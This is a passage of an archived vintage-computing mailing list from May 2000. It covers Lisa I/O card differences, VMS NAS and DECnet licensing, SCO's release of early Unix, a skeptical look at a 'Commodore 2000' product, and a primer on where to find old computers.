not support an internal hard drive. > Some time ago I came across a different I/O card, no. 820-4033-A2: > http://home.earthlink.net/~wmsmith/_uimages/Lisa_IO_820-4033-A2.jpg That card works in a Lisa 2/10 or Macintosh XL. It supports one 400K 3.5 inch drive (or 800K with Sun Remarketing's modified firmware), and one internal Widget hard drive. The two cards are not interchangeable. The Lisa 2/10 and Macintosh XL use a different backplane. IIRC, the connectors are offset so that the old I/O card will only plug into the old backplane, and the new I/O card into the new backplane. But even if I'm mistaken about that, I'm rather more certain that the cards aren't electrically interchangeable, since I've been looking at the schematics just recently. Among other differences, the floppy drive motor speed control is done differently. The old I/O card was designed to serially shift the motor speed control byte into the disk drive; when they upgraded to the 400K 3.5 inch drives, they had to add a "Lisa Lite" adapter card to convert the serial bits into a PWM signal. The new I/O card generates PWM on the card. The old I/O card had a socket for an AMD 9511 (or 9512) math coprocessor, which was never used by any production Lisa (or Macintosh) software. The new I/O card instead has a footprint (but usually not a socket) for a Western Digital WD2001 DES crypto chip, which also was never used by any production Lisa or Macintosh software. There are other minor differences between the two cards; I haven't bothered to track them all down. Eric From mew_jac at swbell.net Sat May 13 20:51:32 2000 From: mew_jac at swbell.net (Mitch Wright) Date: Sun Feb 27 18:52:46 2005 Subject: PDP-11 support for GNU binutils Message-ID: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Check this: http://news.nocrew.org/display.html?id=83 From mrbill at mrbill.net Sat May 13 21:45:19 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:46 2005 Subject: Proxim RangeLAN wireless stuff Message-ID: <20000513214519.K27252@mrbill.net> Its very close ('92-93) to ten years old, but I'll be brief - anybody know of a use for some Proxim RangeLAN/ISA cards and a still-new-in-box RangeLAN/PCMCIA kit? Please reply to me offline. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From cmcmanis at mcmanis.com Sat May 13 21:56:15 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:46 2005 Subject: What is NAS ? Message-ID: <4.3.1.2.20000513195428.02ea8100@208.226.86.10> Ok, I've confirmed that you can in fact reproduce the VMS Consolidated distribution using a suitably equipped machine with a CD-R drive. Now, one question I have is what is "NAS" ? There are 12 disks of layered products, one OS disk, one supplementary products disk, and two NAS disks. What is/was NAS? --Chuck From jsowden at americansentry.net Sat May 13 15:17:10 2000 From: jsowden at americansentry.net (John Sowden) Date: Sun Feb 27 18:52:46 2005 Subject: Classic Mac Help In-Reply-To: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Message-ID: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> >What is a good URL/NG for getting assistance with Classic Macs? tia, john From marvin at rain.org Sun May 14 01:06:59 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:46 2005 Subject: Gold's Auction Heads Up References: <4.3.1.2.20000513195428.02ea8100@208.226.86.10> Message-ID: <391E4283.F9AE267@rain.org> For anyone who might be interested, Golds has the following for sale. The prices look like they have gone up a bit since the last one. Both items are starting at $7.50 and currently have no bids with 5 days left in the auction. Digital Computer PDP11 Interface Handbook! http://www.goldsauction.com/apps/viewItem.html?ItemID=418801 Digital Computer PDP11 04/34/45/55 Handbook! http://www.goldsauction.com/apps/viewItem.html?ItemID=418806 From wmsmith at earthlink.net Sun May 14 01:34:32 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:52:46 2005 Subject: Classic Mac Help References: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> Message-ID: <006801bfbd6e$77060a40$f099b2d1@Smith.earthlink.net> A good URL is: http://www.jagshouse.com/classic.html As stated therein: The Classic Macs mailing list (for all old Macs, not just the Classic series) will put you in touch with a lot of knowledgeable folk. Highly recommended. To subscribe, send e-mail to Majordomo@hitznet.com. In the body of the message write: subscribe classics The Classic Macs Archives are found at: http://www.zws.com/classicmacs/ Enjoy. -W ----- Original Message ----- From: John Sowden To: Sent: Saturday, May 13, 2000 1:17 PM Subject: Classic Mac Help > > >What is a good URL/NG for getting assistance with Classic Macs? > > > tia, john > > > > From marvin at rain.org Sun May 14 01:40:40 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:46 2005 Subject: Another Gold's Item References: <4.3.1.2.20000513195428.02ea8100@208.226.86.10> Message-ID: <391E4A68.8589DBEF@rain.org> Missed one, this is again $7.50 with 6 days left in the auction and no bids. Digital LSI-11 Memories and Peripherals http://www.goldsauction.com/apps/viewItem.html?ItemID=419844 From vcf at siconic.com Sun May 14 02:26:59 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:52:46 2005 Subject: Donate old computer gear.... (fwd) Message-ID: Here's a chap in Cambridge, UK, who's got an Osborne portable that needs a new home. I don't know if it's an original portable or not. The original portable has a tan case. The newer version has a grey & blue case. The Osborne Executive (pretty much similar to the Osborne 1 but with some improvements) has a grey & black case. Please contact the original sender directly to inquire. Reply-to: ILygo@aol.com ---------- Forwarded message ---------- Date: Sat, 13 May 2000 13:05:51 EDT From: ILygo@aol.com Subject: Donate old computer gear.... Donate Your Old Computer Stuff to the Vintage Technology Cooperative Resource Center I found your web site for the VCF and noted the above section. I have an Osborne portable CPM computer with CPM software, Word Supercalc 1 etc. I do not want to dump it as it got me started in this great but sometimes frustrating business of computing (I currently contract using Lotus Domino to build Knowledge Management systems and intranets). The snag is I am in the UK (near Cambridge). Ian Lygo Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mikeford at socal.rr.com Sun May 14 04:36:18 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:46 2005 Subject: Classic Mac Help In-Reply-To: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> References: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Message-ID: >>What is a good URL/NG for getting assistance with Classic Macs? > > >tia, john http://lowendmac.com/ Good site info, several mailing lists. From CLASSICCMP at trailing-edge.com Sun May 14 06:34:51 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:46 2005 Subject: What is NAS ? Message-ID: <000514073451.2020c41a@trailing-edge.com> >Ok, I've confirmed that you can in fact reproduce the VMS Consolidated >distribution using a suitably equipped machine with a CD-R drive. Now, one >question I have is what is "NAS" ? There are 12 disks of layered products, >one OS disk, one supplementary products disk, and two NAS disks. What >is/was NAS? I forget what NAS was originally supposed to stand for, but it consists of the "basic necessities" for modern operation. Workstation NAS is a package consisting of DECWindows/Motif, DECNET, TCP/IP, some network printing stuff, and a VMScluster license. Server NAS is a package consisting of the above plus Pathworks, Volume Shadowing, and a few other things. The exact "other things" depends on the exact NAS package (there higher the number, the more extra stuff - the numbers I'm familiar with are 150, 250, and 400.) -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From jrkeys at concentric.net Sun May 14 09:24:01 2000 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:52:46 2005 Subject: Classic Mac Help References: <4.3.1.0.20000513201549.00ac2890@pop3.neteze.com> Message-ID: <001901bfbdb0$0de88820$1f711fd1@default> Try classic-post@hitznet.com I always find good info there. John ----- Original Message ----- From: John Sowden To: Sent: Saturday, May 13, 2000 3:17 PM Subject: Classic Mac Help > > >What is a good URL/NG for getting assistance with Classic Macs? > > > tia, john > > > > From healyzh at aracnet.com Sun May 14 09:58:55 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:46 2005 Subject: What is NAS ? In-Reply-To: <000514073451.2020c41a@trailing-edge.com> Message-ID: >I forget what NAS was originally supposed to stand for, but it >consists of the "basic necessities" for modern operation. Workstation NAS = NET-APP-SUP which I would assume equals "Network Applications Support". Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From rickb at bensene.com Sun May 14 10:46:21 2000 From: rickb at bensene.com (Rick Bensene) Date: Sun Feb 27 18:52:46 2005 Subject: Proxim RangeLAN wireless stuff In-Reply-To: <20000513214519.K27252@mrbill.net> Message-ID: You could build a peer-to-peer wireless network, but without one of the 'base stations' (that functions as a gateway between the wireless\ network to the wired network) it'd be tough to do much else. Rick Bensene The Old Calcualtors Web Museum http://www.geocities.com/oldcalculators Bill Bradford wrote: > Its very close ('92-93) to ten years old, but I'll be brief - anybody > know of a use for some Proxim RangeLAN/ISA cards and a still-new-in-box > RangeLAN/PCMCIA kit? Please reply to me offline. From rhudson at ix.netcom.com Sun May 14 12:51:36 2000 From: rhudson at ix.netcom.com (Ron Hudson) Date: Sun Feb 27 18:52:46 2005 Subject: TRS-80 Model 100 font References: <0FUJ005PT15V2M@mta2.rcsntx.swbell.net> Message-ID: <391EE7A8.96EEE1D4@ix.netcom.com> Anyone have a font for windows that has the TRS-80 model 100 charachters? (ot any good programs for making bitmap fonts for windows(freeware please)) I have the first draft of my model 100 basic quick reference. it's a word97 document that will print, when made double sided it will fold into a pamphlet sized qick reference guide. -Function keys -Numeric and String Operators -Relational Operators -Operator Hierarchy -Data Ranges -Declaration Tags -Error Codes -Basic Keywords Send me email off list and I will reply with the file attached. From cmcmanis at mcmanis.com Sun May 14 13:09:39 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:46 2005 Subject: What is NAS ? In-Reply-To: References: <000514073451.2020c41a@trailing-edge.com> Message-ID: <4.3.1.2.20000514110832.02325100@208.226.86.10> At 07:58 AM 5/14/00 -0700, you wrote: > >I forget what NAS was originally supposed to stand for, but it > >consists of the "basic necessities" for modern operation. Workstation >NAS = NET-APP-SUP which I would assume equals "Network Applications Support". >| Zane H. Healy | UNIX Systems Adminstrator | Ok, so does the hobbyiest license include a license to run DECnet? I tried running NETCONFIG and it complained that I didn't have a license for DECnet and I looked at the layered products and didn't see one in that list either. --Chuck From healyzh at aracnet.com Sun May 14 13:40:18 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:46 2005 Subject: What is NAS ? In-Reply-To: <4.3.1.2.20000514110832.02325100@208.226.86.10> References: <000514073451.2020c41a@trailing-edge.com> Message-ID: >Ok, so does the hobbyiest license include a license to run DECnet? I tried >running NETCONFIG and it complained that I didn't have a license for DECnet >and I looked at the layered products and didn't see one in that list either. > >--Chuck DVNETEND -- End Node DVNETEXT -- ? UCX -- TCP/IP The commercial NAS licenses would look something like NET-APP-SUP-150 or NET-APP-SUP-250, these aren't included in the Hobbyist licenses. I believe a NAS150 is standard with any new OpenVMS box, and takes the place of at least DVNETEND, and UCX, but I might be wrong. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From dogas at leading.net Sun May 14 17:12:55 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:46 2005 Subject: Cosmos spoken for. ;) Message-ID: <000901bfbdf1$90b34920$ca646464@dogclient01> Stephen Hawkin was on Larry King last night. Quite the remarkable fellow. They also clipped in a shot of Cosmos, the computer being used in today's quantum cunstructions on the theory of everything. Carl Sagan was a god of mine, so I just wanted to call dibs on ole Cosmos when she's decommissioned. ;) Anyone have any specs on the machine? ;) Mike: dogas@leading.net -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000514/6766b522/attachment-0001.html From mrbill at mrbill.net Sun May 14 18:25:34 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:46 2005 Subject: [ecollins@outstart.com: SCO site has Unix for download] Message-ID: <20000514182534.R27252@mrbill.net> ----- Forwarded message from Efton Collins ----- From: "Efton Collins" To: Subject: SCO site has Unix for download Date: Sun, 14 May 2000 01:46:34 -0400 Hey, You may have seen it already, but I haven't seen an announcement on the PUPS list - SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V available on their site for download. You can access them by going to www.sco.com/offers/ancient.html and accepting the license. Congratulations PUPS, this is a milestone. Efton ----- End forwarded message ----- -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From healyzh at aracnet.com Sun May 14 18:43:24 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:46 2005 Subject: SCO site has Unix for download In-Reply-To: <20000514182534.R27252@mrbill.net> Message-ID: >SCO has got Unix 5th, 6th and 7th Editions, Mini Unix, System III and 32V >available on their site for download. You can access them by going to >www.sco.com/offers/ancient.html and accepting the license. > >Congratulations PUPS, this is a milestone. Most cool news! Anyone have the system requirements for Mini Unix, System III, and 32V they've got up? Also, does anyone know if BSD 2.11 is going to be available? I suspect it's the one that I'd be most interested in. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From jruschme at mac.com Sun May 14 19:56:16 2000 From: jruschme at mac.com (John Ruschmeyer) Date: Sun Feb 27 18:52:46 2005 Subject: classiccmp-digest V1 #176 In-Reply-To: <200005142326.SAA00649@opal.tseinc.com> Message-ID: >> Its very close ('92-93) to ten years old, but I'll be brief - anybody >> know of a use for some Proxim RangeLAN/ISA cards and a still-new-in-box >> RangeLAN/PCMCIA kit? Please reply to me offline. > You could build a peer-to-peer wireless network, but without one of > the 'base stations' (that functions as a gateway between the wireless\ > network to the wired network) it'd be tough to do much else. > > Rick Bensene Hmm... why not put the ISA card in a Win9x or Linux box and run some kind of IP-NAT scheme. Essentially, you'd have the equivalent of an Apple AirPort "Software Base Station". -- John Ruschmeyer jruschme@mac.com From allisonp at world.std.com Sun May 14 18:52:05 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:46 2005 Subject: What is NAS ? Message-ID: <004e01bfbe07$ef48fe10$7f64c0d0@ajp166> >Ok, so does the hobbyiest license include a license to run DECnet? I tried >running NETCONFIG and it complained that I didn't have a license for DECnet >and I looked at the layered products and didn't see one in that list either. Yes it's included but did you load it? Allison From CLASSICCMP at trailing-edge.com Sun May 14 21:36:34 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:46 2005 Subject: What is NAS ? Message-ID: <000514223634.2020c351@trailing-edge.com> >DVNETEND -- End Node >DVNETEXT -- ? >UCX -- TCP/IP DVNETEXT is what you need if you want to be a DECNET routing node. Tim. From RCini at congressfinancial.com Mon May 15 08:19:51 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:46 2005 Subject: Is this for real -- a new C64/128 Message-ID: <497A9E0467D2D2119B760090271EB8E50E9109@MAIL10> Check this site out http://www.commodore2000.com The Commodore Evolution (in the development process) looks like a fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. I wonder if this is for real or not. It looks like a recent domain registration. FYI, the domain is owned by: Administrative Contact: Barton, Raymond (rbarton@ONEBOX.COM) Computersnational, inc. 112 Carman Place Amityville , NY 11701 (516) 827-8667 (FAX) (516) 691-1589 Technical Contact, Zone Contact: Mindspring Domreg (domreg@MINDSPRING.COM) Mindspring Enterprises, Inc. 1430 West Peachtree St. NW, Ste. 400 Atlanta, GA 30309 US 888-932-1997 Fax- - 404 815-8805 Record last updated on 24-Nov-1999. Record expires on 11-Oct-2001. Record created on 11-Oct-1999. It looks like it's a small e-commerce Web site hosted by Mindspring. The page link for the PeeCee compatible seems to be broken... Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From Historical at aol.com Mon May 15 08:26:45 2000 From: Historical at aol.com (Historical@aol.com) Date: Sun Feb 27 18:52:46 2005 Subject: Pirates of Silicon Valley video Message-ID: <28.5a47ca4.26515515@aol.com> Hello everyone, just a reminder that this excellent video is available as of tomorrow. It's a very entertaining movie and gives a good general overview of the specific history regarding Apple and Microsoft. As many may know, it does have some inaccuracies and does glaze over the years after 1984 (big time), but hey, it's worth owning and seeing. It's only $12.99 at Amazon.com. Go to: http://www.amazon.com/exec/obidos/ASIN/0780627717/classicc omputinsA/103-6128965-8638246 Your purchase helps support ClassicComputing.com. Best, David Greelish Publisher Classic Computing Press www.classiccomputing.com From ckaiser at oa.ptloma.edu Mon May 15 09:39:28 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:46 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9109@MAIL10> from "Cini, Richard" at "May 15, 0 09:19:51 am" Message-ID: <200005151439.HAA07490@oa.ptloma.edu> ::Check this site out http://www.commodore2000.com :: :: The Commodore Evolution (in the development process) looks like a ::fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. ::I wonder if this is for real or not. It looks like a recent domain ::registration. Well, the company claims to have the rights. We're all dubious over in comp.sys.cbm, especially after that Web.it crapola debacle (the 486 in sheep's clothing with an emulator in ROM). There's been an awful lot of Commodore-related vapourware these days. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Whenever people agree with me I always feel I must be wrong. -- Oscar Wilde From RCini at congressfinancial.com Mon May 15 10:01:28 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:52:46 2005 Subject: Is this for real -- a new C64/128 Message-ID: <497A9E0467D2D2119B760090271EB8E50E910E@MAIL10> Cameron: >>here's been an awful lot of Commodore-related vapourware these days. This is why I bring it up. I saw this reference in c.s.c so I took a look at it. If it *is* real, it's an interesting packaging job, sort of a modern one-piece machine. However, he's selling Commodore-badged PeeCees right next to it, so it places the veracity of the ad in question. If I had to guess, this guy may be a local PeeCee clone maker hoping to cash in on the C= name. That notwithstanding, a one-piece B128 with Web browsing, Ethernet, and 6502-compatibility is *very* interesting. I wonder if it has the old serial IEEE port... Hmmm...new...64...BASIC...must...have...new...64... ...no...can't be...dream...aaaaaaaarrrrrrrgggggghhhhh... OK, I feel better now. Rich -----Original Message----- From: Cameron Kaiser [mailto:ckaiser@oa.ptloma.edu] Sent: Monday, May 15, 2000 10:39 AM To: classiccmp@classiccmp.org Subject: Re: Is this for real -- a new C64/128 ::Check this site out http://www.commodore2000.com :: :: The Commodore Evolution (in the development process) looks like a ::fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. ::I wonder if this is for real or not. It looks like a recent domain ::registration. Well, the company claims to have the rights. We're all dubious over in comp.sys.cbm, especially after that Web.it crapola debacle (the 486 in sheep's clothing with an emulator in ROM). There's been an awful lot of Commodore-related vapourware these days. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Whenever people agree with me I always feel I must be wrong. -- Oscar Wilde From foo at siconic.com Mon May 15 09:45:47 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:46 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9109@MAIL10> Message-ID: On Mon, 15 May 2000, Cini, Richard wrote: > Check this site out http://www.commodore2000.com > > The Commodore Evolution (in the development process) looks like a > fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. > I wonder if this is for real or not. It looks like a recent domain > registration. See the fine print below the picture: "Possible Design - Give us your input -Info@commodore2000.com" So it basically IS a PC keyboard. The site looks raw enough to dissuade me from believing anything will come out of this. And how is it going to benefit with having a 6502 onboard as claimed if there will also be a 200-500Mhz processor, and everything else indicates emulation? It's obvious this will simply be a PC, and putting together a machine with the specs this one will supposedly have requires some expensive engineering. Look lower on their page, where they advertise the C= PC. I think that tells us what they truly are trying to sell. The "Next Generation C64" is just hype to suck you in. Just my analysis. From richard at idcomm.com Mon May 15 11:06:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:46 2005 Subject: Is this for real -- a new C64/128 References: Message-ID: <003201bfbe87$96d272e0$0400c0a8@winbook> If you look at this in the context of the IMSAI offering with their pseudo S-100 box with lotsa-features, It starts to point in the direction some folks have predicted with the IMSAI going in one direction and the Commodore in the other. I doubt the latter has any expansion slots, so it may be a "PC for the masses" with little opportunity to make it screw up, much like what we see on notebooks. Since there's a strong push in the direction of a hermetically-sealed internet-PC, with no options, it makes me shudder to think there may be a time, soon, when we have to buy software by the drink, downloading it each time from the net and for a fee, as the Oracle folks would like us to do. I see no effort from anyone else to dispell the notion that that's a good thing. The question of what the role of the 6502 would be is a valid one, though. Maybe they use it to scan the keyboard. Dick ----- Original Message ----- From: Vintage Computer GAWD! To: 'ClassCompList' Sent: Monday, May 15, 2000 8:45 AM Subject: Re: Is this for real -- a new C64/128 > On Mon, 15 May 2000, Cini, Richard wrote: > > > Check this site out http://www.commodore2000.com > > > > The Commodore Evolution (in the development process) looks like a > > fat PC keyboard. I e-mailed the guy to try to get some more detailed specs. > > I wonder if this is for real or not. It looks like a recent domain > > registration. > > See the fine print below the picture: > > "Possible Design - Give us your input -Info@commodore2000.com" > > So it basically IS a PC keyboard. > > The site looks raw enough to dissuade me from believing anything will come > out of this. And how is it going to benefit with having a 6502 onboard as > claimed if there will also be a 200-500Mhz processor, and everything else > indicates emulation? It's obvious this will simply be a PC, and putting > together a machine with the specs this one will supposedly have requires > some expensive engineering. > > Look lower on their page, where they advertise the C= PC. I think that > tells us what they truly are trying to sell. The "Next Generation C64" is > just hype to suck you in. > > Just my analysis. > From dastar at siconic.com Mon May 15 13:42:40 2000 From: dastar at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:46 2005 Subject: Finding Vintage Computers - A Primer Message-ID: <200005151748.KAA15198@siconic.com> Comments please! Finding Vintage Computers - A Primer by Sellam Ismail sellam@vintage.org http://www.vintage.org 1st Edition - May 15, 2000 This primer is intended to give you ideas that will help you find vintage computers in and around your general vicinity. It was written to aid the many frustrated collectors who believe they have exhausted their local sources and still cannot find any old computers. Well, I assure you this is not the case. Old computers can be found in a lot of places that you did not consider. Keep these principles in mind when determining what to pay for old computers: * some people are just happy to have their old machine go to a new home * the bigger the machine, the less money it generally sells for * for some large machine, people are sometimes willing to pay you to haul it away Flea Markets/Ham Fests/Car Boot Sales We begin with the most obvious place to find vintage computers, the Flea Market/Ham Fest/Car Boot Sale (I will refer to them as "flea markets"). Flea markets can occur with frequent regularity or just occasionally, from several times a week to perhaps once a year. Usually they are comprised of people trying to get rid of their old junk. At the more general flea market, finding old computers is usually a challenge. Most of what you will find is the sort of junk that you already have stored away in your garage, basement, attic, closet, etc. But occasionally you will find old computers, and the advantage here is that most collectors won't bother with these sorts of flea markets, so the competition is low. You will be more likely to find vintage computers at Ham Fests as most radio guys (and gals) are also computer users. Many Hams were early adopters of microcomputers during the mid- to late-70's and as such are likely targets for finding some of the more interesting early micros such as S-100 bus machines as well as mini-computers. You can generally expect to pay prices in the range of $5 - $50 for most vintage computers that show up at these events. Occasionally stuff can be had for free, since the seller just wants to get rid of it, or you can wait until after the event is over and head over to the trash bins where you will find all the stuff the sellers didn't want to take back home with them. Haggling at flea markets is mandatory. Never pay more for an old computer than you have to. Learning how to haggle properly would take a whole other primer. The way to get good at it is to just go out and do it. If you don't find any vintage computers at Ham Fests, don't get discouraged. The fact is they just haven't found you. It might be well worth your while to rent a space at the next event and put up a table of your own. Display signs indicating you are interested in old computers. A lot of the people attending the ham fests as buyers also have old computers that they'd like to get rid of and you will meet many people this way. The price of a space is usually not very high, perhaps from $10-$50. To find Flea Markets/Ham Fests/Car Boot sales in your area, look in the classified ads section of your local paper or in the small classified periodicals, or check the upcoming events listings for your local fairgrounds as a lot of times those are venues for large flea markets. Better yet, hop on over to http://www.openair.org/ which is an excellent online resource for finding flea markets and ham fests in your area worldwide. Thrift/Charity Shops Another good place to find vintage computers is at your local Thrift (or Charity) store. Almost every city has at least one. The bigger cities will have many. The most common ones (in the United States anyway) are The Salvation Army, Goodwill and St. Vincent de Paul. In my experience, these are NOT good stores to find old computers. Usually they take all incoming computers and sell them at special sales. Or, if old computers do make it into the store, the pieces to it are usually not all together, or in some cases the parts to one computer may have been scattered across multiple stores. The better thrift stores to look in for old computers are the stand-alone stores or the for-profit chains. They usually won't sort through and separate the items and so you're more likely to find old computers at these. Prices vary from ridiculously cheap to just plain ridiculous. Some stores have no concept of a computer being obsolete. To them, a computer is an expensive, fancy device that is worth lots of money, and they price them accordingly. Others don't differentiate between an old computer and an old toaster, and will sell computer items at the same prices they sell the rest of their appliances, in many cases for only a few dollars or less. Some stores try to price computer items separately but can't tell the difference between modern day PC components and old computer parts, and as a result you'll see vintage machines selling for the same price as the more modern machines. Some thrift stores will slash the price of their items for every week that it does not sell. If something is priced too high you might wait until the following week and buy it at half off! Ask the store what their policy is. While you're at it, don't be afraid to make an offer on an item you are interested in. Haggling at thrift stores is OK. To find thrift stores, look in your local phone book, or check the web. Many of the larger institutions now have websites that will direct you to the nearest store. Search for them online. Electronics Surplus Shops If you can find them, electronics surplus shops are great places to find vintage computers. The prices are generally high at these stores but haggling is sometimes acceptable. It's always best to just ask. Look in your local phone book to find electronics surplus shops in your area. You also might want to try looking for general electronics repair shops, as they may have old computers laying about their shop as well. Colleges/Universities/Schools Schools are great places to find aging computers. Oft times an old machine is tucked away in a closet or basement and forgotten. Many schools have periodic rummage sales to sell off obsolete equipment. Ask the school administration if they have these sales and mark your calendar for the next one. You might also want to try contacting the teachers and professors directly as they may have knowledge of old computers that are no longer in use. The best ones to approach would be in the physical sciences departments: chemistry, physics, biology, etc. Of course, the Computer Science department would also be a good choice. Auctions An auction is sometimes a good place to find vintage computers, especially if it is an auction to liquidate the assets of a company that used computers in its operations. Look in the classified ads of your local paper to find out about upcoming auctions and estate sales in your area. Of course you can also try the online auctions. eBay is, of course, the most popular of the auction sites for finding vintage computers. However, competition is fierce, and as such prices are generally higher than you would pay at other venues. Bargains can be found by performing searches that locate items not listed in the categories specifically for old computers. Scrap/Salvage Yards If you're looking for "Old Iron", your most likely chance of finding it are in scrap yards. The precious metal content of big mainframes unfortunately sends many old computers to a frightful end. Try to find scrap yards in your area and ask the owner if they ever get old computers in. If they do, try to strike up a deal with them. Tell them you will pay them some amount over scrap value (for instance 10%) for any old machines they haul in. This will make it worth their while to work with you. Be forewarned: many scrap yard owners can be mean & nasty, and legends abound of various ones destroying perfectly good vintage equipment of all sorts either because you offered too low a price or just because you look funny. They are notoriously rude and generally just unstable people. Of course these are just generalizations, and your situation may vary. Classified Ads Of course you can always try searching the classified ads of your local paper, as some vintage computers do occasionally show up in the listings. Of course, don't neglect the Usenet for-sale newsgroups. Better yet, check for items listed for sale in the many newsgroups dedicated to specific computer platforms. Let Them Come to You One way to find vintage computers is to let them find you. Try placing an ad in the classifieds section of your local paper. Be sure to specify exactly what you are looking for to avoid getting a flood of false leads. In the very least, include a cut-off year indicating you are not interested in any computers manufactured after that year. Better yet, try posting an ad in one of the many Usenet newsgroups dedicated to older platforms. Or you can try posting an ad in one of your local for-sale newsgroups. The Traveling Nerd If you take frequent business trips to other areas, try scheduling time during your trip to search out old computers. The areas you visit may be fertile, untapped grounds for finding vintage machines. Upon arrival, check the phone book for any of the various sources listed above. You may also want to try to time your trips to coincide with any large flea markets or ham fests in the area and arrange to stay during the weekend so you can attend the event. Once you've acquired vintage computers whilst away from home, you'll soon realize you have to get them home somehow. This is not a problem. Most airlines allow two check-in bags (up to 65 pounds each) and two carry-on bags per passenger. Find a sturdy box and some packaging material and pack your findings, then check them in at the airport as your baggage. You can find boxes and packaging materials at a local mailing center, or at moving vehicle rental locations such as U-Haul. Pack your box well! Luggage is designed to absorb the abuse that the luggage handlers inflict upon it. Boxes are generally not. Use as much packing material as possible and pack it tight. If taking items back with you on the plane is not feasible, you can always just have the stuff shipped back to you at home by using your preferred shipping carrier (i.e. UPS, Fedex, etc.) Where Else? Finally, some other resources to try in your quest for vintage computers include: - Hi-tech companies in your local area, especially ones that have been around for a while and may have accumulated old machines - Local utilities (power, water, telephone) sometimes have surplus sales, and also have rather large dumpsters (skips) that are worth checking occasionally - Other collectors who are retiring from the hobby - Family, friends and neighbors and their family, friends and neighbors...tell everyone you know you collect old computers! Finally, if you live in an area where all of the above resources are either lacking or have consistently turned up nary a floppy drive, it might be worth your while to plan a weekend road trip to a major city nearby. Try to do research in advance to find out where all the thrift stores, flea markets and surplus shops are, and plot out an efficient route. Bring along a sizable vehicle, lots of money, and preferably a companion to keep you occupied during the boring long stretches. Above all, remember this: collecting vintage computers is an exercise in resourcefulness! Happy Collecting! Copyright (c) 2000 Vintage Computer Festival Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From elvey at hal.com Mon May 15 13:52:43 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:46 2005 